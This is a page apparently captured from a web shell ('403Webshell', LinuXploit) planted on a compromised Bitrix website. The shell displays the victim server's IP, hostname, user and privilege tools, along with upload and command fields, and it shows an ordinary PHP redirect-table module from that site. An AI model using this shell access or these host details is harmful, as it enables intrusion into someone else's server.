403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/esol.redirector/lib/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/esol.redirector/lib/redirect_table.php
<?php
namespace Bitrix\EsolRedirector;

use Bitrix\Main\Entity;
use Bitrix\Main\Localization\Loc;
Loc::loadMessages(__FILE__);

class RedirectTable extends Entity\DataManager
{
	private static $compositDomains = null;
	
	/**
	 * Returns path to the file which contains definition of the class.
	 *
	 * @return string
	 */
	public static function getFilePath()
	{
		return __FILE__;
	}

	/**
	 * Returns DB table name for entity
	 *
	 * @return string
	 */
	public static function getTableName()
	{
		return 'b_esolredirector_redirects';
	}

	/**
	 * Returns entity map definition.
	 *
	 * @return array
	 */
	public static function getMap()
	{
		return array(
			'ID' => new Entity\IntegerField('ID', array(
				'primary' => true,
				'autocomplete' => true
			)),
			'ACTIVE' => new Entity\BooleanField('ACTIVE', array(
				'title' => Loc::getMessage("ESOL_RR_FIELD_ACTIVE"),
				'values' => array('Y', 'N'),
				'default_value' => 'Y'
			)),
			'OLD_URL' => new Entity\TextField('OLD_URL', array(
				'title' => Loc::getMessage("ESOL_RR_FIELD_OLD_URL"),
				'default_value' => ''
			)),
			'NEW_URL' => new Entity\TextField('NEW_URL', array(
				'title' => Loc::getMessage("ESOL_RR_FIELD_NEW_URL"),
				'default_value' => ''
			)),
			'STATUS' => new Entity\IntegerField('STATUS', array(
				'title' => Loc::getMessage("ESOL_RR_FIELD_STATUS"),
				'default_value' => '301'
			)),
			'AUTO' => new Entity\BooleanField('AUTO', array(
				'values' => array('N', 'Y'),
				'default_value' => 'N'
			)),
			'WSUBSECTIONS' => new Entity\BooleanField('WSUBSECTIONS', array(
				'title' => Loc::getMessage("ESOL_RR_FIELD_WSUBSECTIONS"),
				'values' => array('N', 'Y'),
				'default_value' => 'Y'
			)),
			'WGETPARAMS' => new Entity\BooleanField('WGETPARAMS', array(
				'title' => Loc::getMessage("ESOL_RR_FIELD_WGETPARAMS"),
				'values' => array('N', 'Y'),
				'default_value' => 'N'
			)),
			'REGEXP' => new Entity\BooleanField('REGEXP', array(
				'title' => Loc::getMessage("ESOL_RR_FIELD_REGEXP"),
				'values' => array('N', 'Y'),
				'default_value' => 'N'
			)),
			'FOR404' => new Entity\BooleanField('FOR404', array(
				'title' => Loc::getMessage("ESOL_RR_FIELD_FOR404"),
				'values' => array('N', 'Y'),
				'default_value' => 'N'
			)),
			'DATE_CREATE' => new Entity\DatetimeField('DATE_CREATE', array(
				'default_value' => ''
			)),
			'CREATED_BY' => new Entity\IntegerField('CREATED_BY', array(
				'default_value' => ''
			)),
			'CREATED_BY_USER' => new Entity\ReferenceField(
				'CREATED_BY_USER',
				'\Bitrix\Main\UserTable',
				array('=this.CREATED_BY' => 'ref.ID'),
				array('join_type' => 'LEFT')
			),
			'DATE_LAST_USE' => new Entity\DatetimeField('DATE_LAST_USE', array(
				'default_value' => ''
			)),
			'COUNT_USE' => new Entity\IntegerField('COUNT_USE', array(
				'default_value' => '0'
			)),
			'COMMENT' => new Entity\TextField('COMMENT', array(
				'title' => Loc::getMessage("ESOL_RR_FIELD_COMMENT"),
				'default_value' => ''
			)),
			'ENTITY' => new Entity\StringField('ENTITY', array(
				'default_value' => ''
			)),
			'SITE_REF' => new Entity\ReferenceField(
				'SITE_REF',
				'\Bitrix\EsolRedirector\RedirectSiteTable',
				array('=this.ID' => 'ref.REDIRECT_ID'),
				array('join_type' => 'LEFT')
			),
		);
	}
	
	public static function AddRedirect($oldUrl, $newUrl, $arSites, $status = 301, $entity = false, $change = false)
	{
		$oldUrl = trim($oldUrl);
		$newUrl = trim($newUrl);
		if(strlen($oldUrl)==0 || (strlen($newUrl)==0 && $status!=410) || empty($arSites)) return;
		if(!preg_match('/^https?:/i', $oldUrl) && strpos($oldUrl, '/')!==0) $oldUrl = '/'.$oldUrl;
		
		if(strlen($newUrl) > 0)
		{
			if(!preg_match('/^https?:/i', $newUrl) && strpos($newUrl, '/')!==0) $newUrl = '/'.$newUrl;
			$dbRes = self::getList(array('filter'=>array('=NEW_URL'=>$oldUrl, '=SITE_REF.SITE_ID'=>$arSites), 'select'=>array('ID', 'OLD_URL')));
			while($arr = $dbRes->Fetch())
			{
				if($newUrl==$arr['OLD_URL']) self::delete($arr['ID']);
				else self::update($arr['ID'], array('NEW_URL'=>$newUrl));
			}
			if($change && $entity)
			{
				if(mb_substr($entity, 0, 1)=='E')
				{
					$dbRes = self::getList(array('filter'=>array('=OLD_URL'=>$newUrl, '=SITE_REF.SITE_ID'=>$arSites), 'select'=>array('ID')));
					while($arr = $dbRes->Fetch())
					{
						self::delete($arr['ID']);
					}
				}
				elseif(mb_substr($entity, 0, 1)=='S')
				{
					$dbRes = self::getList(array('filter'=>array('OLD_URL'=>$newUrl.'%', '=SITE_REF.SITE_ID'=>$arSites), 'select'=>array('ID')));
					while($arr = $dbRes->Fetch())
					{
						self::delete($arr['ID']);
					}
				}
			}
		}
		
		$dbRes = self::getList(array('filter'=>array('=OLD_URL'=>$oldUrl, '=SITE_REF.SITE_ID'=>$arSites), 'select'=>array('ID')));
		while($arr = $dbRes->Fetch())
		{
			self::delete($arr['ID']);
		}
		
		//self::ClearCompositeCache($oldUrl);
		$arFields = array(
			'OLD_URL' => $oldUrl,
			'NEW_URL' => $newUrl,
			'STATUS' => $status,
			'AUTO' => 'Y',
			'SITE_ID' => $arSites
		);
		if($entity) $arFields['ENTITY'] = $entity;
		$dbRes = self::add($arFields);
		$redirectId = $dbRes->getId();
	}
	
	public static function ClearCompositeCache($link='')
	{
		if(!class_exists('\Bitrix\Main\Composite\Helper')) return;
		require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/classes/general/cache_files_cleaner.php");
		
		if(!isset(static::$compositDomains) || !is_array(static::$compositDomains))
		{
			$compositeOptions = \CHTMLPagesCache::getOptions();
			$compositDomains = $compositeOptions['DOMAINS'];
			if(!is_array($compositDomains)) $compositDomains = array();
			static::$compositDomains = $compositDomains;
		}
		
		if(strlen($link) > 0 && !empty(static::$compositDomains))
		{
			foreach(static::$compositDomains as $host)
			{
				$page = new \Bitrix\Main\Composite\Page($link, $host);
				$page->delete();	
			}
		}
	}
	
	public static function RemoveRedirectByOldUrl($url, $arSites)
	{
		$url = trim($url);
		
		$dbRes = self::getList(array('filter'=>array('=OLD_URL'=>$url, '=SITE_REF.SITE_ID'=>$arSites), 'select'=>array('ID')));
		while($arr = $dbRes->Fetch())
		{
			self::delete($arr['ID']);
		}
	}
	
	public static function RemoveRedirect($url, $arSites)
	{
		$url = trim($url);
		
		$dbRes = self::getList(array('filter'=>array('=NEW_URL'=>$url, '=SITE_REF.SITE_ID'=>$arSites), 'select'=>array('ID')));
		while($arr = $dbRes->Fetch())
		{
			self::delete($arr['ID']);
		}
	}
	
	public static function add(array $arFields)
	{
		$arSites = $arFields['SITE_ID'];
		if(!is_array($arSites)) $arSites = array();
		unset($arFields['SITE_ID']);
		
		$arFields['DATE_CREATE'] = new \Bitrix\Main\Type\DateTime();
		$arFields['CREATED_BY'] = (is_callable(array($GLOBALS['USER'], 'GetID')) && (int)$GLOBALS['USER']->GetID() > 0 ? (int)$GLOBALS['USER']->GetID() : false);
		$dbResAdd = parent::add($arFields);

		$redirectId = $dbResAdd->getId();
		if($redirectId > 0)
		{
			foreach($arSites as $siteId)
			{
				RedirectSiteTable::add(array(
					'REDIRECT_ID' => $redirectId,
					'SITE_ID' => $siteId
				));
			}
			
			/*Remove 404 records*/
			$dbRes = \Bitrix\EsolRedirector\ErrorsTable::getList(array('filter'=>array('%URL'=>$arFields['OLD_URL'], 'SITE_ID'=>$arSites), 'select'=>array('ID')));
			while($arr = $dbRes->Fetch())
			{
				\Bitrix\EsolRedirector\ErrorsTable::delete($arr['ID']);
			}
			/*/Remove 404 records*/
			
			if($arFields['OLD_URL']) self::ClearCompositeCache($arFields['OLD_URL']);
		}
		
		return $dbResAdd;
	}
	
	public static function update($ID, array $arFields)
	{
		$arSites = $arFields['SITE_ID'];
		if(!is_array($arSites)) $arSites = array();
		unset($arFields['SITE_ID']);
		
		$dbResUpdate = parent::update($ID, $arFields);

		if($dbResUpdate->isSuccess())
		{
			if(!empty($arSites))
			{
				$dbRes = RedirectSiteTable::getList(array('filter'=>array('REDIRECT_ID' => $ID)));
				while($arr = $dbRes->Fetch())
				{
					if(($index = array_search($arr['SITE_ID'], $arSites))!==false)
					{
						unset($arSites[$index]);
					}
					else
					{
						RedirectSiteTable::delete($arr['ID']);
					}
				}
				foreach($arSites as $siteId)
				{
					RedirectSiteTable::add(array(
						'REDIRECT_ID' => $ID,
						'SITE_ID' => $siteId
					));
				}
			}
			
			if($arFields['OLD_URL']) self::ClearCompositeCache($arFields['OLD_URL']);
		}
		
		return $dbResUpdate;
	}
	
	public static function delete($ID)
	{		
		$dbResDelete = parent::delete($ID);

		if($dbResDelete->isSuccess())
		{
			$dbRes = RedirectSiteTable::getList(array('filter'=>array('REDIRECT_ID' => $ID)));
			while($arr = $dbRes->Fetch())
			{
				RedirectSiteTable::delete($arr['ID']);
			}
		}
		
		return $dbResDelete;
	}
	
	public static function GetImportedFields()
	{
		$redirectEntity = new static();
		$fields = $redirectEntity->getEntity()->getScalarFields();
		foreach($fields as $columnName => $field)
		{
			$fieldName = $field->getColumnName();
			if(!in_array($fieldName, array(
				'ACTIVE', 
				'OLD_URL',
				'NEW_URL',
				'STATUS',
				'WSUBSECTIONS',
				'WGETPARAMS',
				'REGEXP',
				'FOR404',
				'COMMENT'
			))) continue;
			$arFields[$fieldName] = $field->getTitle();
		}
		$arFields['SITE_ID'] = Loc::getMessage("ESOL_RR_FIELD_SITE_REF");
		return $arFields;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit